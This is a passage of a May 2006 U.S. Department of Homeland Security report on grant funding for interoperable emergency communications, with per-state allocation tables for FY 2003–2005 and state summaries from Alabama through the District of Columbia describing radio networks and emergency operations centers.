$12,839,428.83
MT
$0.00
$17,735,425.36
$11,335,163.00
$29,070,588.36
NA
$3,659,666.00
$0.00
$0.00
$3,659,666.00
NC
$1,201,112.16
$44,309,179.08
$30,649,574.85
$76,159,866.09
ND
$0.00
$14,294,300.80
$7,335,015.31
$21,629,316.11
NE
$150,290.00
$19,495,029.00
$16,549,946.00
$36,195,265.00
NH
$0.00
$15,059,028.00
$5,967,620.45
$21,026,648.45
NJ
$93,000.00
$24,202,031.81
$11,540,545.53
$35,835,577.34
NM
$1,608,034.31
$11,048,697.00
$3,121,461.00
$15,778,192.31
NV
$0.00
$19,676,060.74
$4,924,662.00
$24,600,722.74
NY
$3,098,418.00
$85,257,824.00
$57,149,382.00
$145,505,624.00
OH
$0.00
$48,698,339.81
$25,306,476.06
$74,004,815.87
OK
$0.00
$15,929,310.00
$14,671,683.40
$30,600,993.40
Interoperable Communications Allocations State Summary
6
State Interoperable Communications: DHS Funded Activities
May 2006
OR
$8,129,116.10
$23,341,934.00
$21,942,872.00
$53,413,922.10
PA
$3,816,568.39
$19,230,105.00
$2,465,000.00
$25,511,673.39
PR
$254,590.00
$9,108,036.00
$4,822,093.00
$14,184,719.00
RI
$897,753.00
$8,369,170.00
$5,804,732.00
$15,071,655.00
SC
$2,513,817.00
$11,127,346.00
$4,005,592.00
$17,646,755.00
SD
$0.00
$7,568,491.00
$100,000.00
$7,668,491.00
TN
$2,908,186.86
$18,719,100.62
$12,942,027.63
$34,569,315.11
TX
$5,264,000.00
$63,387,285.61
$68,178,418.00
$136,829,703.61
UT
$3,622,372.00
$11,104,641.81
$6,799,382.09
$21,526,395.90
VA
$7,509,112.17
$17,701,528.14
$8,245,220.03
$33,455,860.34
VI
$0.00
$1,015,000.00
$850,000.00
$1,865,000.00
VT
$2,653,726.00
$4,568,755.29
$2,605,035.23
$9,827,516.52
WA
$6,924,265.76
$18,816,792.00
$12,120,452.40
$37,861,510.16
WI
$3,532,168.70
$26,033,459.83
$7,612,970.46
$37,178,598.99
WV
$11,603,377.00
$5,314,839.20
$8,455,278.00
$25,373,494.20
WY
$5,626,630.41
$11,882,665.00
$6,675,108.00
$24,184,403.41
Total
$205,027,893.11
$1,179,470,421.59
$769,094,952.50
$2,153,593,267.20
Note: The data contained in this report is directly gathered from information loaded into the Grants Reporting Tool
(GRT) by users as of 18 April 2006. GRT data represents the state’s planned project expenditures based on the
Initial Strategy Implementation Plan (ISIP) and the Bi-annual Strategy Implementation Report (BSIR). It does not
necessarily represent actual expenditures. Project level data was not collected for FY 2003, as such the figures
reported for Interoperable Communications Equipment Funding may not represent the entire amount of funding for
FY 2003. This information is subject to change at any moment per updates added into the GRT by users.
Sources: 2003 Allocated Funding on Interoperable Communications Equipment Report; 2004 and 2005 BSIR
(December 05) Keyword Search - Interoperable Communications Equipment Report. Puerto Rico data is from the
2004 and 2005 BSIR (June 05) Keyword Search - Interoperable Communications Equipment Report.
Interoperable Communications Allocations Supporting Graphs
May 2006
State Interoperable Communications: DHS Funded Activities
7
Interoperable Communications Summary
Supporting Graphs
Interoperable Communications Allocations Supporting Graphs
8
State Interoperable Communications: DHS Funded Activities
May 2006
Interoperable Communications Allocations Supporting Graphs
May 2006
State Interoperable Communications: DHS Funded Activities
9
Interoperable Communications Allocation Summary
Supporting Graphs
National Interoperable Communications Projects Allocation Summary for Fiscal Years 2003,
2004 and 2005.
Overall Interoperable Communications Projects Allocation
(FY 2003 - FY 2005)
$1,906,754,289.28 ,
89%
$246,838,977.92 ,
11%
Interoperable Communications
Equipment
Other Interoperable
Communications Funded
Activities
FY 2003 Interoperable Communications Projects Allocation
$205,027,893.11 ,
100%
, 0%
Interoperable Communications
Equipment
Other Interoperable
Communications Funded
Activities
Interoperable Communications Allocations Supporting Graphs
10
State Interoperable Communications: DHS Funded Activities
May 2006
FY 2004 Interoperable Communications Projects Allocation
$1,058,657,970.91 ,
90%
$120,812,450.68 ,
10%
Interoperable Communications
Equipment
Other Interoperable
Communications Funded
Activities
FY 2005 Interoperable Communications Projects Allocation
$643,068,425.26 ,
84%
$126,026,527.24 ,
16%
Interoperable Communications
Equipment
Other Interoperable
Communications Funded
Activities
Interoperable Communications Allocations Supporting Graphs
May 2006
State Interoperable Communications: DHS Funded Activities
11
“Interoperable Communications Equipment” represents those project funds specifically allocated
to the Interoperable Communications Equipment solution area subcategory for the procurement
of interoperable communications equipment.
“Other Interoperable Communications Funded Activities” are interoperable communications
project funds allocated to any other subcategory, for example: “Develop and Enhance Plans and
Protocols” or “Training Course and Program Development, Delivery, or Evaluation”."
Note: The data contained in this report is directly gathered from information loaded into the Grants Reporting Tool
(GRT) by users as of 18 April 2006. GRT data represents the state’s planned project expenditures based on the
Initial Strategy Implementation Plan (ISIP) and the Bi-annual Strategy Implementation Report (BSIR). It does not
necessarily represent actual expenditures. Project level data was not collected for FY 2003, as such the figures
reported for Interoperable Communications Equipment Funding may not represent the entire amount of funding for
FY 2003. This information is subject to change at any moment per updates added into the GRT by users. Because
FY 2003 grants were not reported in the GRT, project level data is not available for these grants.
Sources: 2003 Allocated Funding on Interoperable Communications Equipment Report; 2004 and 2005 BSIR
(December 05) Keyword Search - Interoperable Communications Equipment Report. Summary data for Puerto Rico
is from the 2004 and 2005 BSIR (June 05) Keyword Search - Interoperable Communications Equipment Report.
Interoperable Communications Allocations Supporting Graphs
12
State Interoperable Communications: DHS Funded Activities
May 2006
Interoperable Communications State Summaries
May 2006
State Interoperable Communications: DHS Funded Activities
13
Interoperable Communications State Summaries
Interoperable Communications State Summaries
14
State Interoperable Communications: DHS Funded Activities
May 2006
Alabama State Summary
May 2006
State Interoperable Communications: DHS Funded Activities
15
Office of Grants and Training
Preparedness Directorate
U.S. Department of Homeland Security
Alabama Information
Interoperable Communications: DHS Funded Activities – Alabama
Homeland Security Grant Program and UASI Allocations
Interoperable
Communications Equipment
Other Interoperable
Communications Funded Activities
Total
FY 2003
$1,373,800.00
$1,373,800.00
FY 2004
$17,178,817.18
$511,332.95
$17,690,150.13
FY 2005
$2,137,356.32
$5,998,484.17
$8,135,840.49
Total
$20,689,973.50
$6,509,817.12
$27,199,790.62
Current Interoperable Communications Initiatives
The State of Alabama has deployed nine Rapid Response Communications
vehicles (one to each region) that can provide voice, data and video
communications capability at the scene of an emergency. One of these units
was recently deployed to a train derailment in the Birmingham area and
another was utilized to provide communications when a state park was
designed as a relocation site for Hurricane Katrina evacuees.
Homeland Security Grant Program Allocations
$0
$2
$4
$6
$8
$10
$12
$14
$16
$18
$20
Interoperable
Communications Equipment
Other Interoperable
Communications Spending
Millions
FY 2003
FY 2004
FY 2005
Alabama State Summary
16
State Interoperable Communications: DHS Funded Activities
May 2006
Source: 2004 and 2005 BSIR (December 05) Interoperable Communications Reports. Grant Programs Included in
this report: Citizen Corps Program (CCP), Law Enforcement Terrorism Prevention Program (LETPP), State
Homeland Security Program (SHSP), Urban Area Security Initiative (UASI), Transit Security Program (TSP),
Emergency Management Performance Grant (EMPG), Metropolitan Medical Response System (MMRS), Buffer
Zone Protection Program (BZPP), and Transit Security Grant Program (TSGP).
Note: The data contained in this report is directly gathered from information loaded into the Grants Reporting Tool
(GRT) by users as of 18 April 2006. GRT data represents the state’s planned project expenditures based on the
Initial Strategy Implementation Plan (ISIP) and the Bi-annual Strategy Implementation Report (BSIR). It does not
necessarily represent actual expenditures. Project level data was not collected for FY 2003, as such the figures
reported for Interoperable Communications Equipment Funding may not represent the entire amount of funding for
FY 2003. This information is subject to change at any moment per updates to the GRT by users.
Alaska State Summary
May 2006
State Interoperable Communications: DHS Funded Activities
17
Office of Grants and Training
Preparedness Directorate
U.S. Department of Homeland Security
Alaska Information
Interoperable Communications: DHS Funded Activities – Alaska
Homeland Security Grant Program and UASI Allocations
Interoperable
Communications Equipment
Other Interoperable
Communications Funded Activities
Total
FY 2003
$3,679,679.00
$3,679,679.00
FY 2004
$8,542,428.00
$1,556,500.00
$10,098,928.00
FY 2005
$6,237,120.00
$199,531.00
$6,436,651.00
Total
$18,459,227.00
$1,756,031.00
$20,215,258.00
Current Interoperable Communications Initiatives
• Alaska Land Mobile Radio (ALMR) is a State-wide initiative
and certainly supports regional collaboration through trunking, to
include collaboration with state, local and federal partners.
• Interoperable Communication Protocols, processes and
procedures have been already established for ALMR.
• They are compliant with NIMS. Any radio connected into the ALMR system can
communicate to any other radio on the system, from Juneau to Anchorage, Seward, to
Fairbanks, to Valdez where the Trans Alaska Pipeline ends at the Marine Terminal.
• This initiative would extend that reach to the north shore of Alaska where the oil starts its
journey to Valdez along
the 800 mile pipeline.
This initiative would also
extend the ALMR reach
to the Canadian Boarder
on the Alaska Highway.
• 90-100% of the states IC
funding has been or will
be utilized to expand,
enhance, maintain, train
and exercise the State-
wide ALMR system
Homeland Security Grant Program Allocations
$0
$1
$2
$3
$4
$5
$6
$7
$8
$9
Interoperable
Communications Equipment
Other Interoperable
Communications Spending
Millions
FY 2003
FY 2004
FY 2005
Alaska State Summary
18
State Interoperable Communications: DHS Funded Activities
May 2006
Source: 2004 and 2005 BSIR (December 05) Interoperable Communications Reports. Grant Programs Included in
this report: Citizen Corps Program (CCP), Law Enforcement Terrorism Prevention Program (LETPP), State
Homeland Security Program (SHSP), Urban Area Security Initiative (UASI), Transit Security Program (TSP),
Emergency Management Performance Grant (EMPG), Metropolitan Medical Response System (MMRS), Buffer
Zone Protection Program (BZPP), and Transit Security Grant Program (TSGP).
Note: The data contained in this report is directly gathered from information loaded into the Grants Reporting Tool
(GRT) by users as of 18 April 2006. GRT data represents the state’s planned project expenditures based on the
Initial Strategy Implementation Plan (ISIP) and the Bi-annual Strategy Implementation Report (BSIR). It does not
necessarily represent actual expenditures. Project level data was not collected for FY 2003, as such the figures
reported for Interoperable Communications Equipment Funding may not represent the entire amount of funding for
FY 2003. This information is subject to change at any moment per updates to the GRT by users.
American Samoa State Summary
May 2006
State Interoperable Communications: DHS Funded Activities
19
Office of Grants and Training
Preparedness Directorate
U.S. Department of Homeland Security
American Samoa Information
Interoperable Communications: DHS Funded Activities – American Samoa
Homeland Security Grant Program and UASI Allocations
Interoperable
Communications Equipment
Other Interoperable
Communications Funded Activities
Total
FY 2003
$696,836.50
$696,836.50
FY 2004
$1,368,194.00
$1,368,194.00
FY 2005
$340,000.00
$340,000.00
Total
$2,405,030.50
$0.00
$2,405,030.50
Current Interoperable Communications Initiatives
Communication systems acquisition and upgrades to their EOC. Currently
they are in Phase I (planning) of a Phase III project to have island wide
communication abilities.
American Samoa (AS) has signed a contract with Motorola (Honolulu, Hawaii) to install a state
of the art communications system that will link the islands of Pago Pago, Manua, and Swains.
This new technology will catapult the American Samoa responder community into the 21st
Century. Currently, AS is in phase 1 of a three phase process. The acquisition of ACU 3000
system and mobile/portable radios has been accomplished – linking for the first time, multiple
users. The second phase is installing a network of towers to improve capabilities throughout the
island. Phase III will conclude
with satellite system links that
ensure reliable networking in the
event of Typhoons and power
loss (an ongoing occurrence
throughout the South Pacific).
The anticipated timeline to
completion is tentatively set for
December, 2007.
Homeland Security Grant Program Allocations
$0.0
$0.2
$0.4
$0.6
$0.8
$1.0
$1.2
$1.4
$1.6
Interoperable
Communications Equipment
Other Interoperable
Communications Spending
Millions
FY 2003
FY 2004
FY 2005
American Samoa State Summary
20
State Interoperable Communications: DHS Funded Activities
May 2006
Source: 2004 and 2005 BSIR (December 05) Interoperable Communications Reports. Grant Programs Included in
this report: Citizen Corps Program (CCP), Law Enforcement Terrorism Prevention Program (LETPP), State
Homeland Security Program (SHSP), Urban Area Security Initiative (UASI), Transit Security Program (TSP),
Emergency Management Performance Grant (EMPG), Metropolitan Medical Response System (MMRS), Buffer
Zone Protection Program (BZPP), and Transit Security Grant Program (TSGP).
Note: The data contained in this report is directly gathered from information loaded into the Grants Reporting Tool
(GRT) by users as of 18 April 2006. GRT data represents the state’s planned project expenditures based on the
Initial Strategy Implementation Plan (ISIP) and the Bi-annual Strategy Implementation Report (BSIR). It does not
necessarily represent actual expenditures. Project level data was not collected for FY 2003, as such the figures
reported for Interoperable Communications Equipment Funding may not represent the entire amount of funding for
FY 2003. This information is subject to change at any moment per updates to the GRT by users.
Arizona State Summary
May 2006
State Interoperable Communications: DHS Funded Activities
21
Office of Grants and Training
Preparedness Directorate
U.S. Department of Homeland Security
Arizona Information
Interoperable Communications: DHS Funded Activities – Arizona
Homeland Security Grant Program and UASI Allocations
Interoperable
Communications Equipment
Other Interoperable
Communications Funded Activities
Total
FY 2003
$2,000,000.00
$2,000,000.00
FY 2004
$12,183,020.98
$1,489,442.58
$13,672,463.56
FY 2005
$5,697,782.91
$5,697,782.91
Total
$19,880,803.89
$1,489,442.58
$21,370,246.47
Current Interoperable Communications Initiatives
Objective: Foster and support regional collaboration, improve and enhance
interoperability
Note: All the identified steps associated with this objective have been rated as
approx 90% completed as of this date. Arizona has provided the following to
support this completion status (Based on a monitoring visit in 2005):
1. Arizona has established a Regional approach for Homeland Security. Five regions were
established by the Office of Homeland Security.
2. All five have a Regional strategy that compliments the overall State of Arizona
Homeland Security Strategy.
3. All Regions have incorporated elements of Interstate mutual aid and when appropriate
have added an International component to it. This is evident with Arizona Counter
Terrorism Information Center (ACTIC) liaisons, CANAMEX commission, and several
State, Tribal, Local and
international mutual aid
agreements in place
4. All regions have
developed regional
capabilities to address
threat and vulnerabilities
associated with their
specific areas. Regions
receive funding based
upon gaps after a through
needs assessment was
conducted.
Homeland Security Grant Program Allocations
$0
$2
$4
$6
$8
$10
$12
$14
Interoperable
Communications Equipment
Other Interoperable
Communications Spending
Millions
FY 2003
FY 2004
FY 2005
Arizona State Summary
22
State Interoperable Communications: DHS Funded Activities
May 2006
5. Interoperable communications has been established with the deployment of common
frequencies and the acquisition of the associated and necessary support vehicles. These
units have been placed in all of the regions (complete). Inter-ops remain an on-going
process of examination and testing. The Arizona Emergency Radio System (AERS) is the
primary solution for near-term statewide interoperability as a result of the Statewide
Interoperability Project Study –2005. The AERS Project consist of the installation of a 4-
radio suite (VHF, UHF, 800, VHF2) into 45- remote DPS sites throughout Arizona that
will provide access to a mutual-aid channel for interagency communications. Arizona
DPS has recently awarded a contract to reassess capabilities to ascertain and examine any
remaining gaps that may exist in the communication area. This was in response to several
after action reports generated from exercises conducted at both the regional and state
level after the deployment of the communication package. ADEM established a
cooperative public-private partnership with the Arizona Public Service electric company
to utilize their statewide 800 MHz trunked communication system. Portable radios were
installed at all County EOCS and the State Emergency Operations Center.
Identified Actions:
• Five communication vans were purchased by the State of Arizona to address the needs
associated with interoperable communication problems
• Arizona continues to strengthen and enhance the overall communication interoperability
system in place. There exists an integrated and unified approach to work with elements
of private industry and utilize existing system capabilities already available.
• Phoenix UASI: Much of their effort involves the purchase of sophisticated
communication equipment. Much of this has been accomplished with DHS support
(funding). While most of the equipment and vehicles are funded through DHS, the costs
of training, make-ready and personnel are absorbed by the City.
Source: 2004 and 2005 BSIR (December 05) Interoperable Communications Reports. Grant Programs Included in
this report: Citizen Corps Program (CCP), Law Enforcement Terrorism Prevention Program (LETPP), State
Homeland Security Program (SHSP), Urban Area Security Initiative (UASI), Transit Security Program (TSP),
Emergency Management Performance Grant (EMPG), Metropolitan Medical Response System (MMRS), Buffer
Zone Protection Program (BZPP), and Transit Security Grant Program (TSGP).
Note: The data contained in this report is directly gathered from information loaded into the Grants Reporting Tool
(GRT) by users as of 18 April 2006. GRT data represents the state’s planned project expenditures based on the
Initial Strategy Implementation Plan (ISIP) and the Bi-annual Strategy Implementation Report (BSIR). It does not
necessarily represent actual expenditures. Project level data was not collected for FY 2003, as such the figures
reported for Interoperable Communications Equipment Funding may not represent the entire amount of funding for
FY 2003. This information is subject to change at any moment per updates to the GRT by users.
Arkansas State Summary
May 2006
State Interoperable Communications: DHS Funded Activities
23
Office of Grants and Training
Preparedness Directorate
U.S. Department of Homeland Security
Arkansas Information
Interoperable Communications: DHS Funded Activities – Arkansas
Homeland Security Grant Program and UASI Allocations
Interoperable
Communications Equipment
Other Interoperable
Communications Funded Activities
Total
FY 2003
$1,167,307.98
$1,167,307.98
FY 2004
$26,899,261.75
$26,899,261.75
FY 2005
$12,008,172.25
$25,000.00
$12,033,172.25
Total
$40,074,741.98
$25,000.00
$40,099,741.98
Current Interoperable Communications Initiatives
Arkansas is nearing completion of Phase I of the Arkansas Wireless
Information Network (AWIN) program. The results of Phase I will allow
users at both the state and local levels of government to operate on a state-
wide, interoperable, digital communications network, utilizing the Project
25 platform in the 700/800 MHz frequency bands. AWIN will allow state
and local command and control personnel to communicate on one system.
A pilot project has commenced that will more fully deploy wireless infrastructure and radios to
all first-responders in the three
selected counties to demonstrate
the full potential of AWIN.
Total amount budgeted (much is
already paid with some still
waiting) from FY02, FY03 I,
FY03 II, FY04 and FY05 is
$34,207,459.96.
Homeland Security Grant Program Allocations
$0
$5
$10
$15
$20
$25
$30
Interoperable
Communications Equipment
Other Interoperable
Communications Spending
Millions
FY 2003
FY 2004
FY 2005
Arkansas State Summary
24
State Interoperable Communications: DHS Funded Activities
May 2006
Source: 2004 and 2005 BSIR (December 05) Interoperable Communications Reports. Grant Programs Included in
this report: Citizen Corps Program (CCP), Law Enforcement Terrorism Prevention Program (LETPP), State
Homeland Security Program (SHSP), Urban Area Security Initiative (UASI), Transit Security Program (TSP),
Emergency Management Performance Grant (EMPG), Metropolitan Medical Response System (MMRS), Buffer
Zone Protection Program (BZPP), and Transit Security Grant Program (TSGP).
Note: The data contained in this report is directly gathered from information loaded into the Grants Reporting Tool
(GRT) by users as of 18 April 2006. GRT data represents the state’s planned project expenditures based on the
Initial Strategy Implementation Plan (ISIP) and the Bi-annual Strategy Implementation Report (BSIR). It does not
necessarily represent actual expenditures. Project level data was not collected for FY 2003, as such the figures
reported for Interoperable Communications Equipment Funding may not represent the entire amount of funding for
FY 2003. This information is subject to change at any moment per updates to the GRT by users.
California State Summary
May 2006
State Interoperable Communications: DHS Funded Activities
25
Office of Grants and Training
Preparedness Directorate
U.S. Department of Homeland Security
California Information
Interoperable Communications: DHS Funded Activities – California
Homeland Security Grant Program and UASI Allocations
Interoperable
Communications Equipment
Other Interoperable
Communications Funded Activities
Total
FY 2003
$3,319,651.00
$3,319,651.00
FY 2004
$77,191,311.62
$16,959,744.02
$94,151,055.64
FY 2005
$40,222,621.23
$23,374,814.00
$63,597,435.23
Total
$120,733,583.85
$40,334,558.02
$161,068,141.87
Current Interoperable Communications Initiatives
Santa Ana and Anaheim:
Both UASIs voluntarily elected to merge strategies
several years ago, giving way to multiple levels of
collaboration, information sharing, and
regionalization. Anaheim was also one of four
Regional Technology Integration Initiative (RTII) cities, under DHS S&T.
As a result, almost of the entire city of Anaheim is Wi-Fi and they are
currently working on getting wireless capabilities within all their response vehicles. Both Santa
and Anaheim use an EVOC system, emergency virtual operations center, in which the
responders, incident commanders, and city officials have access to all on-going response activity.
The system (depending on your access level) provides information to multiple levels of city
resources, to include GIS maps, tilt-zoom cameras across the city, and both police and fire
activity. All of this can be accessed through the aforementioned Wi-Fi capability across the city.
Silicon Valley:
Support existing Silicon Valley
Radio Interoperability Project to
include the ECOMM microwave
project's extension into
Monterey, San Benito and Santa
Cruz counties in support of their
Public Health Labs. Conduct an
exercise to test the system
connection, in accordance with
HSEEP guidelines.
Homeland Security Grant Program Allocations
$0
$10
$20
$30
$40
$50
$60
$70
$80
$90
Interoperable
Communications Equipment
Other Interoperable
Communications Spending
Millions
FY 2003
FY 2004
FY 2005
RapidCom
Participant
• Los Angeles
• San Francisco
California State Summary
26
State Interoperable Communications: DHS Funded Activities
May 2006
Source: 2004 and 2005 BSIR (December 05) Interoperable Communications Reports. Grant Programs Included in
this report: Citizen Corps Program (CCP), Law Enforcement Terrorism Prevention Program (LETPP), State
Homeland Security Program (SHSP), Urban Area Security Initiative (UASI), Transit Security Program (TSP),
Emergency Management Performance Grant (EMPG), Metropolitan Medical Response System (MMRS), Buffer
Zone Protection Program (BZPP), and Transit Security Grant Program (TSGP).
Note: The data contained in this report is directly gathered from information loaded into the Grants Reporting Tool
(GRT) by users as of 18 April 2006. GRT data represents the state’s planned project expenditures based on the
Initial Strategy Implementation Plan (ISIP) and the Bi-annual Strategy Implementation Report (BSIR). It does not
necessarily represent actual expenditures. Project level data was not collected for FY 2003, as such the figures
reported for Interoperable Communications Equipment Funding may not represent the entire amount of funding for
FY 2003. This information is subject to change at any moment per updates to the GRT by users.
Colorado State Summary
May 2006
State Interoperable Communications: DHS Funded Activities
27
Office of Grants and Training
Preparedness Directorate
U.S. Department of Homeland Security
Colorado Information
Interoperable Communications: DHS Funded Activities – Colorado
Homeland Security Grant Program and UASI Allocations
Interoperable
Communications Equipment
Other Interoperable
Communications Funded Activities
Total
FY 2003
$7,873,076.00
$7,873,076.00
FY 2004
$25,714,525.20
$714,972.00
$26,429,497.20
FY 2005
$10,292,470.80
$79,747.50
$10,372,218.30
Total
$43,880,072.00
$794,719.50
$44,674,791.50
Current Interoperable Communications Initiatives
The State of Colorado has set aside approximately $30 million in other
grant funds to continue the building of the Digital Trunk Radio (DTR)
system in the Western Mountain regions of Colorado. The system is
approximately 95% complete.
Colorado through a multi agency, multi disciplinary task force created an
information sharing and interoperable communications command center
that houses integrated command and control capacity with information
analysts in one location. The Colorado Information Analysis Center (CIAC) is a showcase State
developed fusion center that serves as a fully integrated hub for communications processing and
information exchange at all levels of government. It is unique in it’s inclusion of all disciplines
as well as local participation at this state level fusion center
The Colorado Department of Emergency Management (DEM) has developed an extensive
database of state contact
information (office phone, cell
phone, fax, pager, home phone)
which is maintained with the
assistance of the state
Emergency Response
Coordinators. Each State agency
appoints an Emergency
Response Coordinator who is
responsible to maintain current
contact information with the
DEM Operations Chief. The
notification is accomplished
through a call-down tree
Homeland Security Grant Program Allocations
$0
$5
$10
$15
$20
$25
$30
Interoperable
Communications Equipment
Other Interoperable
Communications Spending
Millions
FY 2003
FY 2004
FY 2005
Colorado State Summary
28
State Interoperable Communications: DHS Funded Activities
May 2006
initiated by DEM. In addition, blast e-mail is used to notify the Local Emergency Managers.
Emergency information is also distributed by the CIAC through their e-mail alerts.
Source: 2004 and 2005 BSIR (December 05) Interoperable Communications Reports. Grant Programs Included in
this report: Citizen Corps Program (CCP), Law Enforcement Terrorism Prevention Program (LETPP), State
Homeland Security Program (SHSP), Urban Area Security Initiative (UASI), Transit Security Program (TSP),
Emergency Management Performance Grant (EMPG), Metropolitan Medical Response System (MMRS), Buffer
Zone Protection Program (BZPP), and Transit Security Grant Program (TSGP).
Note: The data contained in this report is directly gathered from information loaded into the Grants Reporting Tool
(GRT) by users as of 18 April 2006. GRT data represents the state’s planned project expenditures based on the
Initial Strategy Implementation Plan (ISIP) and the Bi-annual Strategy Implementation Report (BSIR). It does not
necessarily represent actual expenditures. Project level data was not collected for FY 2003, as such the figures
reported for Interoperable Communications Equipment Funding may not represent the entire amount of funding for
FY 2003. This information is subject to change at any moment per updates to the GRT by users.
Connecticut State Summary
May 2006
State Interoperable Communications: DHS Funded Activities
29
Office of Grants and Training
Preparedness Directorate
U.S. Department of Homeland Security
Connecticut Information
Interoperable Communications: DHS Funded Activities – Connecticut
Homeland Security Grant Program and UASI Allocations
Interoperable
Communications Equipment
Other Interoperable
Communications Funded Activities
Total
FY 2003
$540,800.00
$540,800.00
FY 2004
$11,603,787.00
$5,826,950.00
$17,430,737.00
FY 2005
$5,049,543.00
$3,228,700.00
$8,278,243.00
Total
$17,194,130.00
$9,055,650.00
$26,249,780.00
Current Interoperable Communications Initiatives
Several projects to develop or enhance interoperable
communications systems are underway:
• $450,000.00: Achieve communications connectivity and
interoperability among emergency first responders at the
command and tactical levels. Improve CMED capacity to
include EMS responder status management and vehicle
location capabilities as an extension of the HEARTBEAT computer aided dispatch
system being developed by the region's two largest cities.
• $3,033,644.00: Initiate the development of a statewide telecommunications infrastructure
and protocol that will allow timely, efficient and cost effective communications for all
public safety and public
healthcare agencies.
• $592,904.00: Plan,
design and establish
Emergency Operations
Center capabilities,
either at the municipal or
regional level, for every
jurisdiction within the
state.
Homeland Security Grant Program Allocations
$0
$2
$4
$6
$8
$10
$12
$14
Interoperable
Communications Equipment
Other Interoperable
Communications Spending
Millions
FY 2003
FY 2004
FY 2005
Connecticut State Summary
30
State Interoperable Communications: DHS Funded Activities
May 2006
Source: 2004 and 2005 BSIR (December 05) Interoperable Communications Reports. Grant Programs Included in
this report: Citizen Corps Program (CCP), Law Enforcement Terrorism Prevention Program (LETPP), State
Homeland Security Program (SHSP), Urban Area Security Initiative (UASI), Transit Security Program (TSP),
Emergency Management Performance Grant (EMPG), Metropolitan Medical Response System (MMRS), Buffer
Zone Protection Program (BZPP), and Transit Security Grant Program (TSGP).
Note: The data contained in this report is directly gathered from information loaded into the Grants Reporting Tool
(GRT) by users as of 18 April 2006. GRT data represents the state’s planned project expenditures based on the
Initial Strategy Implementation Plan (ISIP) and the Bi-annual Strategy Implementation Report (BSIR). It does not
necessarily represent actual expenditures. Project level data was not collected for FY 2003, as such the figures
reported for Interoperable Communications Equipment Funding may not represent the entire amount of funding for
FY 2003. This information is subject to change at any moment per updates to the GRT by users.
Delaware State Summary
May 2006
State Interoperable Communications: DHS Funded Activities
31
Office of Grants and Training
Preparedness Directorate
U.S. Department of Homeland Security
Delaware Information
Interoperable Communications: DHS Funded Activities – Delaware
Homeland Security Grant Program and UASI Allocations
Interoperable
Communications Equipment
Other Interoperable
Communications Funded Activities
Total
FY 2003
$3,786,306.43
$3,786,306.43
FY 2004
$5,638,637.34
$76,208.00
$5,714,845.34
FY 2005
$2,350,518.91
$2,350,518.91
Total
$11,775,462.68
$76,208.00
$11,851,670.68
Current Interoperable Communications Initiatives
• Providing communications enhancements and upgrades to existing equipment
at all three County Emergency Operations Centers, as well as Emergency
Medical Services, Fire Services, Government Administrative, Hazardous
Materials, Public Safety Communications, and Public Works responders with
additional radios for on-scene communication, mobile data computer and
radios for law enforcement, acquiring a Laboratory Information Management
System and wireless tablet PC’s for public health, and blackberry
communication devices for public safety communications information
technology cyber security activities.
• Developing and enhancing a terrorism intelligence early warning system.
• Providing radiological
warning for people
working in or for the
New Castle County
EOC, baselines security
at the City of
Wilmington EOC, New
Castle County EOC, and
new administrative
buildings in Kent and
New Castle Counties.
Also equips an existing
mobile command center
with communications
equipment for use in the
Homeland Security Grant Program Allocations
$0
$1
$2
$3
$4
$5
$6
Interoperable
Communications Equipment
Other Interoperable
Communications Spending
Millions
FY 2003
FY 2004
FY 2005
Delaware State Summary
32
State Interoperable Communications: DHS Funded Activities
May 2006
field and the procurement of a Mobile Command Center in New Castle County to
complete the implementation of mobile command in each county and the City of
Wilmington.
• Our project under this section is with the Criminal Intelligence Sharing and Analysis
Network within the DIAC. We have funding in both FY04 & FY05.
Source: 2004 and 2005 BSIR (December 05) Interoperable Communications Reports. Grant Programs Included in
this report: Citizen Corps Program (CCP), Law Enforcement Terrorism Prevention Program (LETPP), State
Homeland Security Program (SHSP), Urban Area Security Initiative (UASI), Transit Security Program (TSP),
Emergency Management Performance Grant (EMPG), Metropolitan Medical Response System (MMRS), Buffer
Zone Protection Program (BZPP), and Transit Security Grant Program (TSGP).
Note: The data contained in this report is directly gathered from information loaded into the Grants Reporting Tool
(GRT) by users as of 18 April 2006. GRT data represents the state’s planned project expenditures based on the
Initial Strategy Implementation Plan (ISIP) and the Bi-annual Strategy Implementation Report (BSIR). It does not
necessarily represent actual expenditures. Project level data was not collected for FY 2003, as such the figures
reported for Interoperable Communications Equipment Funding may not represent the entire amount of funding for
FY 2003. This information is subject to change at any moment per updates to the GRT by users.
District of Columbia State Summary
May 2006
State Interoperable Communications: DHS Funded Activities
33
Office of Grants and Training
Preparedness Directorate
U.S. Department of Homeland Security
District of Columbia Information
Interoperable Communications: DHS Funded Activities – District of Columbia
Homeland Security Grant Program and UASI Allocations
Interoperable
Communications Equipment
Other Interoperable
Communications Funded Activities
Total
FY 2003
$5,701,790.00
$5,701,790.00
FY 2004
$12,027,899.00
$3,602,017.00
$15,629,916.00
FY 2005
$12,693,704.10
$11,554,746.90
$24,248,451.00
Total
$30,423,393.10
$15,156,763.90
$45,580,157.00
Current Interoperable Communications Initiatives
Communications initiatives:
•
All first responders in the NCR can
communicate either by direct or patched
communications
•
1250-unit radio cache stored across the region subway tunnel
enhancement and expansion, increasing radio range
•
A tri-band radio network and voice gateways are in place, increasing radio
interoperability
•
The Washington Area Warning Alert System (WAWAS) system is in place – this is a
24-hour continuous private wire landline telephone system
•
WebEOC is in place – this is a virtual EOC-to-EOC linkage of operations centers across
state and local governments of the NCR
•
A Roam Secure system has been deployed throughout the region, sending messages to
pagers, cell phones, and
e-mail accounts
•
The Emergency Alert
System provides
interfaces to direct
broadcast over
television, radio, cable,
and satellite media
systems
•
A Reverse 911 system
in place enables
localized citizen alerts
Homeland Security Grant Program Allocations
$0
$2
$4
$6
$8
$10
$12
$14
Interoperable
Communications Equipment
Other Interoperable
Communications Spending
Millions
FY 2003
FY 2004
FY 2005
RapidCom
Participant
• Washington
District of Columbia State Summary
34
State Interoperable Communications: DHS Funded Activities
May 2006
via telephone
•
Other systems in place or in development include: law enforcement data sharing;
automated fingerprint identification; patient racking and medical facility capacity real
time data sharing; disease surveillance; and first responder credentialing (on-scene
identification)
Source: 2004 and 2005 BSIR (December 05) Interoperable Communications Reports. Grant Programs Included in
this report: Citizen Corps Program (CCP), Law Enforcement Terrorism Prevention Program (LETPP), State
Homeland Security Program (SHSP), Urban Area Security Initiative (UASI), Transit Security Program (TSP),
Emergency Management Performance Grant (EMPG), Metropolitan Medical Response System (MMRS), Buffer
Zone Protection Program (BZPP), and Transit Security Grant Program (TSGP).
Note: The data contained in this report is directly gathered from information loaded into the Grants Reporting Tool
